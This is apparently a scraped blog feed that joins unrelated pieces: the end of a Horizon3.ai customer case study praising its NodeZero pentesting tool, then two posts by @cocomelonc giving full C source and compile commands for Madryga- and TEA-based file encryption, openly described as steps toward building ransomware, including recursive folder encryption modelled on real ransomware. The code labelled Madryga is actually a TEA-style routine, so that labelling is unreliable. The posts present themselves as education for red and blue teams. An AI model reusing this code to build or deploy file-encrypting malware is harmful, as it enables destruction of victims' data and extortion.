Additional to building a cyber resilient digital realm, Henry states that easy and direct access to the precise proof of exploitation is instrumental and allows for immediate sharing with peers and vendors. β€œHaving that proof comes in really handy when sharing with our vendors to say hey, this wasn’t detected [by their software] and is there anything we can do to modify our Indicators of Compromise (IOC) or our Indicators of Attack (IOA) so we can detect this activity in the future?” he adds. Having direct access to this information allows a client running a continuous pentesting solution the ability to find holes in their current security tools and enables them to contact their third-party vendors to fix gaps and harden security.

Enter NodeZeroβ„’

Our client wanted to get away from basic vulnerability scanners and adopt something that emulated attacks across their environment. After doing open-source research, Henry and his team ran across NodeZero on LinkedInβ„’ and started watching Horizon3.ai videos on YouTubeβ„’.

What impressed him the most was that our

β€œCEO was very active, and he knew the product very well, which really stood out.”

So, they booked a demo.

Henry mentions that some of our competitors were reluctant to schedule a Proof of Value (POV), and that our onboarding/POV process was transparent, which was the main driving factor for going with Horizon3.ai. Furthermore, initial real-world impressions highlighted that the NodeZero interface was sleek and easy to use, especially when compared to traditional manual pentest and vulnerability scanning tools. Running a pentest was β€œquick and there are multiple methods for the reporting, which is really valuable to us” he mentions.

Not just for the Vulnerabilities

Henry says that NodeZero has β€œeverything, from the reporting to the one click verify, being able to quickly identify if we remediated this or not [vulnerabilities],” adding that, β€œthose things really help outshine some of the other competitors.” NodeZero allows customers to see a prioritized list of vulnerabilities, proof of exploitation (if available), and highlights notable events to enable customers to fix what matters first, and to verify those fixes.

NodeZero also provided detailed attack paths that enable customers to walk through how an attack could be carried out through the Eyes of an Attacker, while also showing which vulnerabilities led to specific downstream impacts and what to fix to mitigate other issues throughout the environment. He says that everything NodeZero provides is β€œreally, really helpful, and showing the top weaknesses in our environment with proof of exploitation so that me and my team could manually run the commands was really impressive.”
Furthermore, β€œthe fix actions report is super helpful because I was able to attach it to a ticket and send it off” saving Henry valuable time from calling multiple people and walking them through how to do fix the issue and remediate the vulnerability. NodeZero reports not only give the customer step-by-step instructions, but also provides multiple options to fix the same problem. β€œBeing able to mitigate this in multiple ways really cuts down on me having to do research on the back end,”
he adds.

Filling the gaps, Hardening policies

After the first few pentests, Henry mentions that the results weren’t too shocking, especially when NodeZero found multiple weak credentials, as they had just done a pentest from another vendor a few weeks prior. However, after the third week of using NodeZero, it was able to escalate its privileges to become domain admin, effectively taking over the domain because a temporary account was created with default credentials. He was surprised by how quickly NodeZero was able to β€œshed light on the issue and provide immediate remediation instructions.”

Additionally, this issue prompted his team to not only quickly remediate but help fine tune their parent company’s current Identity and Access Management (IAM) policies and guidelines, in addition to their own. Although the temporary account was created by a systems admin, NodeZero finding the vulnerability allows for visibility and mitigation to ensure compliance with System and Organization Controls (SOC) and future audits. He also mentions that β€œthey [him and his team] got to actually see domain admin compromise and what that would look like, as well as what sort of things [downstream impacts] would be pivoted into from obtaining those escalated privileges, which was very interesting.”

This example illustrates that, even if a company thinks they are complying and adhering to their current policies, there can still be gaps and credentials that get through the cracks. Henry emphasized that they thought they were doing a good job by following established IAM guidelines and policies. However, when NodeZero was introduced into their environment, they quickly discovered β€œthat’s not necessarily true and some things like service accounts and similar had slipped through the cracks.” Furthermore, he goes on to say that these types of IT department and admin level accounts β€œwere not subject to quarterly password resets, so NodeZero helped us figure out those accounts, keeping us in the know.”

Reducing Cost, Increasing Business Operations

As many of our customers have highlighted after switching over to NodeZero from traditional annual and/or manual pentesting is the significant reduction in per pentest cost. As Henry describes, β€œwe are well below the cost of just a single annual pentest and are getting way more pentests per year, which is somewhere near 90% cost effectiveness and that NodeZero has more than paid for itself already.” He goes on to say that β€œonly a few things from our previous annual pentest were solved because the report wasn’t good [lacked effective fix actions] or not many people were tracking it, so there just wasn’t a lot of helpful information.”

As a result, NodeZero has helped Henry and his team accelerate, justify, and steer their company into additional cyber operations that they otherwise wouldn’t have been able to do with a once-a-year annual pentest. β€œThis not only helps us reduce risk, but has also helped us make better investment decisions,” he mentions.

Even if you’re not going with NodeZero, I would highly recommend that you do.

NodeZero revolutionizes the landscape for organizations seeking an autonomous pentesting solution, empowering a proactive and preemptive strategy to illuminate how an attacker sees your environment and reinforce resilience against cyber threats. Henry says that β€œeven if you weren’t going with NodeZero, you need to get some kind of attack emulation exercise going, because we didn’t realize that we needed that until we had it.”

Subsequently, Henry and his team realized how valuable it is to see things from an attacker’s perspective, as well as gaining a lot more perspective into their defensive and offensive posture. β€œWe like seeing how NodeZero moved like an attacker through our environment, as well as the narrative and context that it provided, allowing us to actually determine what is more likely to happen, and more likely not to happen,” says Henry.

Some organizations don’t realize the value of continuous pentesting until it’s too late and they have a breach or are paying millions of dollars in ransom. For the transportation and supply chain industry, recognizing this importance is critical as it helps proactively identify and address vulnerabilities, preventing potential disruptions, financial losses, and safeguarding the integrity of their intricate and interconnected operations across the globe.

Download PDF

The post Securing the Move: Cyber Resilience in the Transportation and Supply Chain Industry appeared first on Horizon3.ai.

Malware and cryptography 24: encrypt/decrypt file via Madryga. Simple C/C++ example.

16 January 2024 at 01:00

ο·½

Hello, cybersecurity enthusiasts and white hackers!

cryptography

Since I’m a little busy writing my book for the Packt publishing, I haven’t been writing as often lately. But I’m still working on researching and simulating ransomware.

In one of the previous posts I wrote about the Madryga encryption algorithm and how it affected the VirusTotal detection score.

At the request of one of my readers, I decided to show file encryption and decryption logic using the Madryga algorithm.

practical example 1

First of all, we do not update encryption and decryption functions:

void madryga_encrypt(u32 *v, u32 *k) {
  u32 v0 = v[0], v1 = v[1], sum = 0, i;
  u32 delta = 0x9E3779B9;
  for (i = 0; i < ROUNDS; i++) {
    sum += delta;
    v0 += ((v1 << 4) + k[0]) ^ (v1 + sum) ^ ((v1 >> 5) + k[1]);
    v1 += ((v0 << 4) + k[2]) ^ (v0 + sum) ^ ((v0 >> 5) + k[3]);
  }
  v[0] = v0; v[1] = v1;
}

void madryga_decrypt(u32 *v, u32 *k) {
  u32 v0 = v[0], v1 = v[1], sum = 0xE3779B90, i;
  u32 delta = 0x9E3779B9;
  for (i = 0; i < ROUNDS; i++) {
    v1 -= ((v0 << 4) + k[2]) ^ (v0 + sum) ^ ((v0 >> 5) + k[3]);
    v0 -= ((v1 << 4) + k[0]) ^ (v1 + sum) ^ ((v1 >> 5) + k[1]);
    sum -= delta;
  }
  v[0] = v0; v[1] = v1;
}

Then, next piece of code implemented encryption and decryption functions for data using a simple block cipher madryga_encrypt and madryga_decrypt. It operates on the data in blocks of 8 bytes, with a padding mechanism for the case when the data length is not a multiple of 8:

void madryga_encrypt_data(unsigned char* data, int data_len) {
  int i;
  uint32_t *ptr = (uint32_t*) data;
  for (i = 0; i < data_len / 8; i++) {
    madryga_encrypt(ptr, key);
    ptr += 2;
  }
  // check if there are remaining bytes
  int remaining = data_len % 8;
  if (remaining != 0) {
    // pad with 0x90
    unsigned char pad[8] = {0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90};
    memcpy(pad, ptr, remaining);
    madryga_encrypt((uint32_t*) pad, key);
    memcpy(ptr, pad, remaining);
  }
}

void madryga_decrypt_data(unsigned char* data, int data_len) {
  int i;
  uint32_t *ptr = (uint32_t*) data;
  for (i = 0; i < data_len / 8; i++) {
    madryga_decrypt(ptr, key);
    ptr += 2;
  }
  // check if there are remaining bytes
  int remaining = data_len % 8;
  if (remaining != 0) {
    // pad with 0x90
    unsigned char pad[8] = {0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90};
    memcpy(pad, ptr, remaining);
    madryga_decrypt((uint32_t*) pad, key);
    memcpy(ptr, pad, remaining);
  }
}

Let’s break down the encryption code step by step:

  • It takes a pointer to data and its length data_len.
  • It converts the data pointer to a uint32_t* for 32-bit (4-byte) block processing.
  • It processes the data in blocks of 8 bytes using madryga_encrypt function.
  • The loop increments the pointer by 2 to move to the next 8-byte block.
  • If there are remaining bytes (not a multiple of 8), it pads the remaining bytes with 0x90 and encrypts the padded block.

Finally, I implemented file encryption and decryption logic:

void encrypt_file(const char* input_path, const char* output_path) {
  FILE* input_file = fopen(input_path, "rb");
  FILE* output_file = fopen(output_path, "wb");

  if (input_file == NULL || output_file == NULL) {
    perror("Error opening file");
    exit(EXIT_FAILURE);
  }

  fseek(input_file, 0, SEEK_END);
  long file_size = ftell(input_file);
  fseek(input_file, 0, SEEK_SET);

  unsigned char* file_content = (unsigned char*)malloc(file_size);
  fread(file_content, 1, file_size, input_file);

  for (int i = 0; i < file_size / 8; i++) {
    madryga_encrypt_data(file_content + i * 8, 8);
  }

  fwrite(file_content, 1, file_size, output_file);

  fclose(input_file);
  fclose(output_file);
  free(file_content);
}

void decrypt_file(const char* input_path, const char* output_path) {
  FILE* input_file = fopen(input_path, "rb");
  FILE* output_file = fopen(output_path, "wb");

  if (input_file == NULL || output_file == NULL) {
    perror("Error opening file");
    exit(EXIT_FAILURE);
  }

  fseek(input_file, 0, SEEK_END);
  long file_size = ftell(input_file);
  fseek(input_file, 0, SEEK_SET);

  unsigned char* file_content = (unsigned char*)malloc(file_size);
  fread(file_content, 1, file_size, input_file);

  for (int i = 0; i < file_size / 8; i++) {
    madryga_decrypt_data(file_content + i * 8, 8);
  }

  fwrite(file_content, 1, file_size, output_file);

  fclose(input_file);
  fclose(output_file);
  free(file_content);
}

The full source code is looks like this hack.c:

/*
 * hack.c
 * encrypt/decrypt file with Madryga algorithm
 * author: @cocomelonc
 * https://cocomelonc.github.io/malware/2024/01/16/malware-cryptography-24.html
*/
#include <stdio.h>
#include <stdint.h>
#include <string.h>
#include <windows.h>

#define ROUNDS 16

typedef uint32_t u32;

u32 key[4] = {0x00010203, 0x04050607, 0x08090A0B, 0x0C0D0E0F};

void madryga_encrypt(u32 *v, u32 *k) {
  u32 v0 = v[0], v1 = v[1], sum = 0, i;
  u32 delta = 0x9E3779B9;
  for (i = 0; i < ROUNDS; i++) {
    sum += delta;
    v0 += ((v1 << 4) + k[0]) ^ (v1 + sum) ^ ((v1 >> 5) + k[1]);
    v1 += ((v0 << 4) + k[2]) ^ (v0 + sum) ^ ((v0 >> 5) + k[3]);
  }
  v[0] = v0; v[1] = v1;
}

void madryga_decrypt(u32 *v, u32 *k) {
  u32 v0 = v[0], v1 = v[1], sum = 0xE3779B90, i;
  u32 delta = 0x9E3779B9;
  for (i = 0; i < ROUNDS; i++) {
    v1 -= ((v0 << 4) + k[2]) ^ (v0 + sum) ^ ((v0 >> 5) + k[3]);
    v0 -= ((v1 << 4) + k[0]) ^ (v1 + sum) ^ ((v1 >> 5) + k[1]);
    sum -= delta;
  }
  v[0] = v0; v[1] = v1;
}

void madryga_encrypt_data(unsigned char* data, int data_len) {
  int i;
  uint32_t *ptr = (uint32_t*) data;
  for (i = 0; i < data_len / 8; i++) {
    madryga_encrypt(ptr, key);
    ptr += 2;
  }
  // check if there are remaining bytes
  int remaining = data_len % 8;
  if (remaining != 0) {
    // pad with 0x90
    unsigned char pad[8] = {0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90};
    memcpy(pad, ptr, remaining);
    madryga_encrypt((uint32_t*) pad, key);
    memcpy(ptr, pad, remaining);
  }
}

void madryga_decrypt_data(unsigned char* data, int data_len) {
  int i;
  uint32_t *ptr = (uint32_t*) data;
  for (i = 0; i < data_len / 8; i++) {
    madryga_decrypt(ptr, key);
    ptr += 2;
  }
  // check if there are remaining bytes
  int remaining = data_len % 8;
  if (remaining != 0) {
    // pad with 0x90
    unsigned char pad[8] = {0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90};
    memcpy(pad, ptr, remaining);
    madryga_decrypt((uint32_t*) pad, key);
    memcpy(ptr, pad, remaining);
  }
}

void encrypt_file(const char* input_path, const char* output_path) {
  FILE* input_file = fopen(input_path, "rb");
  FILE* output_file = fopen(output_path, "wb");

  if (input_file == NULL || output_file == NULL) {
    perror("error opening file");
    exit(EXIT_FAILURE);
  }

  fseek(input_file, 0, SEEK_END);
  long file_size = ftell(input_file);
  fseek(input_file, 0, SEEK_SET);

  unsigned char* file_content = (unsigned char*)malloc(file_size);
  fread(file_content, 1, file_size, input_file);

  for (int i = 0; i < file_size / 8; i++) {
    madryga_encrypt_data(file_content + i * 8, 8);
  }

  fwrite(file_content, 1, file_size, output_file);

  fclose(input_file);
  fclose(output_file);
  free(file_content);
}

void decrypt_file(const char* input_path, const char* output_path) {
  FILE* input_file = fopen(input_path, "rb");
  FILE* output_file = fopen(output_path, "wb");

  if (input_file == NULL || output_file == NULL) {
    perror("error opening file");
    exit(EXIT_FAILURE);
  }

  fseek(input_file, 0, SEEK_END);
  long file_size = ftell(input_file);
  fseek(input_file, 0, SEEK_SET);

  unsigned char* file_content = (unsigned char*)malloc(file_size);
  fread(file_content, 1, file_size, input_file);

  for (int i = 0; i < file_size / 8; i++) {
    madryga_decrypt_data(file_content + i * 8, 8);
  }

  fwrite(file_content, 1, file_size, output_file);

  fclose(input_file);
  fclose(output_file);
  free(file_content);
}

int main() {
  encrypt_file("test.txt", "test-enc.bin");
  decrypt_file("test-enc.bin", "test-dec.txt");
  return 0;
}

As you can see, for test I just encrypt file test.txt and decrypt it.

demo

Let’s compile our PoC code:

x86_64-w64-mingw32-g++ -O2 hack.c -o hack.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive

cryptography

Then just run it on Windows 10 x64 machine:

.\hack.exe

As a result, two new files test-enc.bin and test-dec.txt were created.

cryptography

cryptography

cryptography

As we can see, everything is wokred perfectly! =^..^=

practical example 2

But, in the wild, ransomware do not always encrypt the entire file if it is very large. For example Conti ransomware used partial encryption.

Also ransomware recursive encrypt folders, it might look something like this:

void handleFiles(const char* folderPath) {
  WIN32_FIND_DATAA findFileData;
  char searchPath[MAX_PATH];
  sprintf_s(searchPath, MAX_PATH, "%s\\*", folderPath);

  HANDLE hFind = FindFirstFileA(searchPath, &findFileData);

  if (hFind == INVALID_HANDLE_VALUE) {
    printf("Error: %d\n", GetLastError());
    return;
  }

  do {
    const char* fileName = findFileData.cFileName;

    if (strcmp(fileName, ".") == 0 || strcmp(fileName, "..") == 0) {
      continue;
    }

    char filePath[MAX_PATH];
    sprintf_s(filePath, MAX_PATH, "%s\\%s", folderPath, fileName);

    if (findFileData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) {
      // Recursive call for subfolders
      handleFiles(filePath);
    } else {
      // Process individual files
      printf("file: %s\n", filePath);
      char encryptedFilePath[MAX_PATH];
      sprintf_s(encryptedFilePath, MAX_PATH, "%s.bin", filePath);
      encrypt_file(filePath, encryptedFilePath);
    }

  } while (FindNextFileA(hFind, &findFileData) != 0);

  FindClose(hFind);
}

As you can see, the logic is pretty simple.
The recursive decryption uses the same trick:

void decryptFiles(const char* folderPath) {
  WIN32_FIND_DATAA findFileData;
  char searchPath[MAX_PATH];
  sprintf_s(searchPath, MAX_PATH, "%s\\*", folderPath);

  HANDLE hFind = FindFirstFileA(searchPath, &findFileData);

  if (hFind == INVALID_HANDLE_VALUE) {
    printf("error: %d\n", GetLastError());
    return;
  }

  do {
    const char* fileName = findFileData.cFileName;

    if (strcmp(fileName, ".") == 0 || strcmp(fileName, "..") == 0) {
      continue;
    }

    char filePath[MAX_PATH];
    sprintf_s(filePath, MAX_PATH, "%s\\%s", folderPath, fileName);

    if (findFileData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) {
      // Recursive call for subfolders
      decryptFiles(filePath);
    } else {
      // Process individual files
      if (strstr(fileName, ".bin") != NULL) {
        printf("File: %s\n", filePath);
        char decryptedFilePath[MAX_PATH];
        sprintf_s(decryptedFilePath, MAX_PATH, "%s.decrypted", filePath);
        decrypt_file(filePath, decryptedFilePath);
      }
    }

  } while (FindNextFileA(hFind, &findFileData) != 0);

  FindClose(hFind);
}

demo 2

Let’s see everything in action, compile our PoC code:

x86_64-w64-mingw32-g++ -O2 hack2.c -o hack2.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive

cryptography

Then just run it on Windows 10 x64 machine:

.\hack.exe

cryptography

cryptography

cryptography

Let’s check a decrypted and original files, for example applied-cryptography.pdf.bin.decrypted:

cryptography

As you can see our simple PoC is worked perfectly.

Of course, the examples I showed still cannot be used to simulate ransomware as needed. To do this, we still need to add a blacklisted directories and we need to add a little speed to our logic.

In the following parts I will implement the logic for encrypting the entire file system, of course this will be separated into a separate project on GitHub and will be used to simulate ransomware attacks.

I hope this post spreads awareness to the blue teamers of this interesting encrypting technique, and adds a weapon to the red teamers arsenal.

Madryga
Malware AV/VM evasion part 13
source code in github

This is a practical case for educational purposes only.

Thanks for your time happy hacking and good bye!
PS. All drawings and screenshots are mine

Malware and cryptography 23: encrypt/decrypt file via TEA. Simple C/C++ example.

25 December 2023 at 01:00

ο·½

Hello, cybersecurity enthusiasts and white hackers!

cryptography

In one of the previous posts (and at conferences in the last couple of months) I talked about the TEA encryption algorithm and how it affected the VirusTotal detection score.

With today’s post I want to start a series of my new research, I will be developing different versions of the ransomware malware with different algorithms from cryptography.

I will do this step by step, so perhaps I will post some things, tricks and techniques in a separate articles.

practical example

I’ll go straight to a practical example, the logic of which is quite simple, encrypting one file and decrypting it.

Encryption function:

void encryptFile(const char* inputFile, const char* outputFile, const char* teaKey) {
  HANDLE ifh = CreateFileA(inputFile, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
  HANDLE ofh = CreateFileA(outputFile, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);

  if (ifh == INVALID_HANDLE_VALUE || ofh == INVALID_HANDLE_VALUE) {
    printf("error opening file.\n");
    return;
  }

  LARGE_INTEGER fileSize;
  GetFileSizeEx(ifh, &fileSize);

  unsigned char* fileData = (unsigned char*)malloc(fileSize.LowPart);
  DWORD bytesRead;
  ReadFile(ifh, fileData, fileSize.LowPart, &bytesRead, NULL);

  unsigned char key[KEY_SIZE];
  memcpy(key, teaKey, KEY_SIZE);

  // calculate the padding size
  size_t paddingSize = (TEA_BLOCK_SIZE - (fileSize.LowPart % TEA_BLOCK_SIZE)) % TEA_BLOCK_SIZE;

  // pad the file data
  size_t paddedSize = fileSize.LowPart + paddingSize;
  unsigned char* paddedData = (unsigned char*)malloc(paddedSize);
  memcpy(paddedData, fileData, fileSize.LowPart);
  memset(paddedData + fileSize.LowPart, static_cast<char>(paddingSize), paddingSize);

  // encrypt the padded data
  for (size_t i = 0; i < paddedSize; i += TEA_BLOCK_SIZE) {
    tea_encrypt(paddedData + i, key);
  }

  // write the encrypted data to the output file
  DWORD bw;
  WriteFile(ofh, paddedData, paddedSize, &bw, NULL);

  printf("TEA encryption successful\n");

  CloseHandle(ifh);
  CloseHandle(ofh);
  free(fileData);
  free(paddedData);
}

and decryption function:

void decryptFile(const char* inputFile, const char* outputFile, const char* teaKey) {
  HANDLE ifh = CreateFileA(inputFile, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
  HANDLE ofh = CreateFileA(outputFile, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);

  if (ifh == INVALID_HANDLE_VALUE || ofh == INVALID_HANDLE_VALUE) {
    printf("error opening file.\n");
    return;
  }

  LARGE_INTEGER fileSize;
  GetFileSizeEx(ifh, &fileSize);

  unsigned char* fileData = (unsigned char*)malloc(fileSize.LowPart);
  DWORD bytesRead;
  ReadFile(ifh, fileData, fileSize.LowPart, &bytesRead, NULL);

  unsigned char key[KEY_SIZE];
  memcpy(key, teaKey, KEY_SIZE);

  // decrypt the file data using TEA encryption
  for (DWORD i = 0; i < fileSize.LowPart; i += TEA_BLOCK_SIZE) {
    tea_decrypt(fileData + i, key);
  }

  // calculate the padding size
  size_t paddingSize = fileData[fileSize.LowPart - 1];

  // validate and remove padding
  if (paddingSize <= TEA_BLOCK_SIZE && paddingSize > 0) {
    size_t originalSize = fileSize.LowPart - paddingSize;
    unsigned char* originalData = (unsigned char*)malloc(originalSize);
    memcpy(originalData, fileData, originalSize);

    // write the decrypted data to the output file
    DWORD bw;
    WriteFile(ofh, originalData, originalSize, &bw, NULL);

    printf("TEA decryption successful\n");

    CloseHandle(ifh);
    CloseHandle(ofh);
    free(fileData);
    free(originalData);
  } else {
    // invalid padding size, print an error message or handle it accordingly
    printf("Invalid padding size: %d\n", paddingSize);

    CloseHandle(ifh);
    CloseHandle(ofh);
    free(fileData);
  }
}

This code encrypts the input file using TEA with the specified key, decrypt with TEA.

Another important part of the code adds padding to the last block if the file size is not a multiple of the TEA block size:

void addPadding(HANDLE fh) {
  LARGE_INTEGER fs;
  GetFileSizeEx(fh, &fs);

  size_t paddingS = TEA_BLOCK_SIZE - (fs.QuadPart % TEA_BLOCK_SIZE);
  if (paddingS != TEA_BLOCK_SIZE) {
    SetFilePointer(fh, 0, NULL, FILE_END);
    for (size_t i = 0; i < paddingS; ++i) {
      char paddingB = static_cast<char>(paddingS);
      WriteFile(fh, &paddingB, 1, NULL, NULL);
    }
  }
}

So, I tested this for one file test.txt

int main() {
  const char* inputFile = "C:\\Users\\user\\Desktop\\books\\test.txt";
  const char* outputFile = "C:\\Users\\user\\Desktop\\books\\test.txt.tea";
  const char* decryptedFile = "C:\\Users\\user\\Desktop\\books\\test.txt.tea.decrypted";
  const char* teaKey = "\x6d\x65\x6f\x77\x6d\x65\x6f\x77\x6d\x65\x6f\x77\x6d\x65\x6f\x77";
  encryptFile(inputFile, outputFile, teaKey);
  decryptFile(outputFile, decryptedFile, teaKey);
  return 0;
}

Ok, full source code is hack.c:

/*
 * hack.c
 * encrypt/decrypt file with TEA
 * author: @cocomelonc
 * https://cocomelonc.github.io/malware/2023/12/25/malware-cryptography-23.html
*/
#include <windows.h>
#include <stdio.h>

#define KEY_SIZE 16
#define ROUNDS 32
#define TEA_BLOCK_SIZE 8

void tea_encrypt(unsigned char *data, unsigned char *key) {
  unsigned int i;
  unsigned int delta = 0x9e3779b9;
  unsigned int sum = 0;
  unsigned int v0 = *(unsigned int *)data;
  unsigned int v1 = *(unsigned int *)(data + 4);

  for (i = 0; i < ROUNDS; i++) {
    v0 += (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + ((unsigned int *)key)[sum & 3]);
    sum += delta;
    v1 += (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + ((unsigned int *)key)[(sum >> 11) & 3]);
  }

  *(unsigned int *)data = v0;
  *(unsigned int *)(data + 4) = v1;
}

void tea_decrypt(unsigned char *data, unsigned char *key) {
  unsigned int i;
  unsigned int delta = 0x9e3779b9;
  unsigned int sum = delta * ROUNDS;
  unsigned int v0 = *(unsigned int *)data;
  unsigned int v1 = *(unsigned int *)(data + 4);

  for (i = 0; i < ROUNDS; i++) {
    v1 -= (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + ((unsigned int *)key)[(sum >> 11) & 3]);
    sum -= delta;
    v0 -= (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + ((unsigned int *)key)[sum & 3]);
  }

  *(unsigned int *)data = v0;
  *(unsigned int *)(data + 4) = v1;
}

void addPadding(HANDLE fh) {
  LARGE_INTEGER fs;
  GetFileSizeEx(fh, &fs);

  size_t paddingS = TEA_BLOCK_SIZE - (fs.QuadPart % TEA_BLOCK_SIZE);
  if (paddingS != TEA_BLOCK_SIZE) {
    SetFilePointer(fh, 0, NULL, FILE_END);
    for (size_t i = 0; i < paddingS; ++i) {
      char paddingB = static_cast<char>(paddingS);
      WriteFile(fh, &paddingB, 1, NULL, NULL);
    }
  }
}

void removePadding(HANDLE fileHandle) {
  LARGE_INTEGER fileSize;
  GetFileSizeEx(fileHandle, &fileSize);

  // determine the padding size
  DWORD paddingSize;
  SetFilePointer(fileHandle, -1, NULL, FILE_END);
  ReadFile(fileHandle, &paddingSize, 1, NULL, NULL);

  // validate and remove padding
  if (paddingSize <= TEA_BLOCK_SIZE && paddingSize > 0) {
    // seek back to the beginning of the padding
    SetFilePointer(fileHandle, -paddingSize, NULL, FILE_END);

    // read and validate the entire padding
    BYTE* padding = (BYTE*)malloc(paddingSize);
    DWORD bytesRead;
    if (ReadFile(fileHandle, padding, paddingSize, &bytesRead, NULL) && bytesRead == paddingSize) {
      // check if the padding bytes are valid
      for (size_t i = 0; i < paddingSize; ++i) {
        if (padding[i] != static_cast<char>(paddingSize)) {
          // invalid padding, print an error message or handle it accordingly
          printf("Invalid padding found in the file.\n");
          free(padding);
          return;
        }
      }

      // truncate the file at the position of the last complete block
      SetEndOfFile(fileHandle);
    } else {
      // error reading the padding bytes, print an error message or handle it accordingly
      printf("Error reading padding bytes from the file.\n");
    }

    free(padding);
  } else {
    // invalid padding size, print an error message or handle it accordingly
    printf("Invalid padding size: %d\n", paddingSize);
  }
}

void encryptFile(const char* inputFile, const char* outputFile, const char* teaKey) {
  HANDLE ifh = CreateFileA(inputFile, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
  HANDLE ofh = CreateFileA(outputFile, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);

  if (ifh == INVALID_HANDLE_VALUE || ofh == INVALID_HANDLE_VALUE) {
    printf("error opening file.\n");
    return;
  }

  LARGE_INTEGER fileSize;
  GetFileSizeEx(ifh, &fileSize);

  unsigned char* fileData = (unsigned char*)malloc(fileSize.LowPart);
  DWORD bytesRead;
  ReadFile(ifh, fileData, fileSize.LowPart, &bytesRead, NULL);

  unsigned char key[KEY_SIZE];
  memcpy(key, teaKey, KEY_SIZE);

  // calculate the padding size
  size_t paddingSize = (TEA_BLOCK_SIZE - (fileSize.LowPart % TEA_BLOCK_SIZE)) % TEA_BLOCK_SIZE;

  // pad the file data
  size_t paddedSize = fileSize.LowPart + paddingSize;
  unsigned char* paddedData = (unsigned char*)malloc(paddedSize);
  memcpy(paddedData, fileData, fileSize.LowPart);
  memset(paddedData + fileSize.LowPart, static_cast<char>(paddingSize), paddingSize);

  // encrypt the padded data
  for (size_t i = 0; i < paddedSize; i += TEA_BLOCK_SIZE) {
    tea_encrypt(paddedData + i, key);
  }

  // write the encrypted data to the output file
  DWORD bw;
  WriteFile(ofh, paddedData, paddedSize, &bw, NULL);

  printf("TEA encryption successful\n");

  CloseHandle(ifh);
  CloseHandle(ofh);
  free(fileData);
  free(paddedData);
}

void decryptFile(const char* inputFile, const char* outputFile, const char* teaKey) {
  HANDLE ifh = CreateFileA(inputFile, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
  HANDLE ofh = CreateFileA(outputFile, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);

  if (ifh == INVALID_HANDLE_VALUE || ofh == INVALID_HANDLE_VALUE) {
    printf("error opening file.\n");
    return;
  }

  LARGE_INTEGER fileSize;
  GetFileSizeEx(ifh, &fileSize);

  unsigned char* fileData = (unsigned char*)malloc(fileSize.LowPart);
  DWORD bytesRead;
  ReadFile(ifh, fileData, fileSize.LowPart, &bytesRead, NULL);

  unsigned char key[KEY_SIZE];
  memcpy(key, teaKey, KEY_SIZE);

  // decrypt the file data using TEA encryption
  for (DWORD i = 0; i < fileSize.LowPart; i += TEA_BLOCK_SIZE) {
    tea_decrypt(fileData + i, key);
  }

  // calculate the padding size
  size_t paddingSize = fileData[fileSize.LowPart - 1];

  // validate and remove padding
  if (paddingSize <= TEA_BLOCK_SIZE && paddingSize > 0) {
    size_t originalSize = fileSize.LowPart - paddingSize;
    unsigned char* originalData = (unsigned char*)malloc(originalSize);
    memcpy(originalData, fileData, originalSize);

    // write the decrypted data to the output file
    DWORD bw;
    WriteFile(ofh, originalData, originalSize, &bw, NULL);

    printf("TEA decryption successful\n");

    CloseHandle(ifh);
    CloseHandle(ofh);
    free(fileData);
    free(originalData);
  } else {
    // invalid padding size, print an error message or handle it accordingly
    printf("Invalid padding size: %d\n", paddingSize);

    CloseHandle(ifh);
    CloseHandle(ofh);
    free(fileData);
  }
}

int main() {
  const char* inputFile = "C:\\Users\\user\\Desktop\\books\\test.txt";
  const char* outputFile = "C:\\Users\\user\\Desktop\\books\\test.txt.tea";
  const char* decryptedFile = "C:\\Users\\user\\Desktop\\books\\test.txt.tea.decrypted";
  const char* teaKey = "\x6d\x65\x6f\x77\x6d\x65\x6f\x77\x6d\x65\x6f\x77\x6d\x65\x6f\x77";
  encryptFile(inputFile, outputFile, teaKey);
  decryptFile(outputFile, decryptedFile, teaKey);
  return 0;
}

demo

Let’s move on to demonstrating how this example works.

First of all, my test.txt file:

cryptography

Then, compile our malware:

x86_64-w64-mingw32-g++ hack.c -o hack.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -Wint-to-pointer-cast -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive

cryptography

Run it in the victim’s machine (Windows 10 x64 v1903 in my case):

cryptography

cryptography

Let’s check two files test.txt and test.txt.tea.decrypted:

cryptography

As we can see, everything is wokred perfectly! =^..^=

In the following parts I will implement the logic for encrypting folders and files and then the entire file system, of course this will be separated into a separate project on GitHub and will be used to simulate ransomware attacks.

I hope this post spreads awareness to the blue teamers of this interesting encrypting technique, and adds a weapon to the red teamers arsenal.

TEA
Malware AV/VM evasion part 12
source code in github

This is a practical case for educational purposes only.

Thanks for your time happy hacking and good bye!
PS. All drawings and screenshots are mine

Malware in the wild book.

13 December 2023 at 01:00

ο·½

